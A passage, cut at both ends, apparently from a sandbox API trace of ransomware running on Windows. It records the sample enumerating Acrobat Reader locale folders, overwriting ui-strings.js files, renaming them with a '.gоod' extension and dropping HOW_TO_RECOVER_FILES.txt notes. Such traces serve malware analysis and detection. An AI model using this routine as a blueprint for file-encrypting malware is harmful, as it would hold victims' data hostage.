(hFile=0x630) returned 0x1 [0182.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0182.771] GetFileType (hFile=0x630) returned 0x1 [0182.771] WriteFile (in: hFile=0x630, lpBuffer=0x35adb98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x35adb98*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0182.772] CloseHandle (hObject=0x630) returned 1 [0182.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0182.773] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr", lpFilePart=0x0) returned 0x6a [0182.773] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0183.517] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.546] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0183.546] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.546] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0183.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0183.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0183.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0183.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr", lpFilePart=0x0) returned 0x6a [0183.546] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0183.547] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.547] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0183.547] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0183.547] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0183.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0183.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0183.547] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0183.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0183.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x36cc490 | out: lpFileInformation=0x36cc490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084)) returned 1 [0183.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0183.548] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0183.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0183.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0183.548] GetFileType (hFile=0x7f8) returned 0x1 [0183.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0183.548] GetFileType (hFile=0x7f8) returned 0x1 [0183.548] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0183.548] ReadFile (in: hFile=0x7f8, lpBuffer=0x36cc978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x36cc978*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0183.550] CloseHandle (hObject=0x7f8) returned 1 [0183.550] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0183.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0183.550] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0183.551] GetFileType (hFile=0x7f8) returned 0x1 [0183.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0183.551] GetFileType (hFile=0x7f8) returned 0x1 [0183.551] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x2084 [0183.551] WriteFile (in: hFile=0x7f8, lpBuffer=0x36cde50*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x36cde50*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0183.552] CloseHandle (hObject=0x7f8) returned 1 [0183.552] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0183.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0183.552] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0183.552] GetFileType (hFile=0x7f8) returned 0x1 [0183.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0183.552] GetFileType (hFile=0x7f8) returned 0x1 [0183.552] ReadFile (in: hFile=0x7f8, lpBuffer=0x36d12a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x36d12a8*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0184.466] CloseHandle (hObject=0x7f8) returned 1 [0184.466] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0184.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0184.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0184.466] GetFileType (hFile=0x7f8) returned 0x1 [0184.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0184.466] GetFileType (hFile=0x7f8) returned 0x1 [0184.466] WriteFile (in: hFile=0x7f8, lpBuffer=0x35a4b30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x35a4b30*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0184.466] CloseHandle (hObject=0x7f8) returned 1 [0184.466] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0184.466] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0184.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0184.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6a290cbd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2094)) returned 1 [0184.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0184.467] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-fr\\ui-strings.js.gоod")) returned 1 [0184.467] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0184.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0184.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0184.468] GetFileType (hFile=0x7f8) returned 0x1 [0184.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0184.468] GetFileType (hFile=0x7f8) returned 0x1 [0184.471] WriteFile (in: hFile=0x7f8, lpBuffer=0x36ded78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x36ded78*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0184.471] CloseHandle (hObject=0x7f8) returned 1 [0184.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0184.472] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma", lpFilePart=0x0) returned 0x6a [0184.472] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0184.472] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.473] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0184.473] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0184.473] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0184.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0184.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0184.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0184.473] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma", lpFilePart=0x0) returned 0x6a [0184.473] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0184.473] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.474] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0184.474] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0184.474] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0184.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0184.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0184.474] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0184.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0184.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\fr-ma\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x36f14a0 | out: lpFileInformation=0x36f14a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084)) returned 1 [0184.474] SetThreadErrorMode (dwNewMode=0x0, 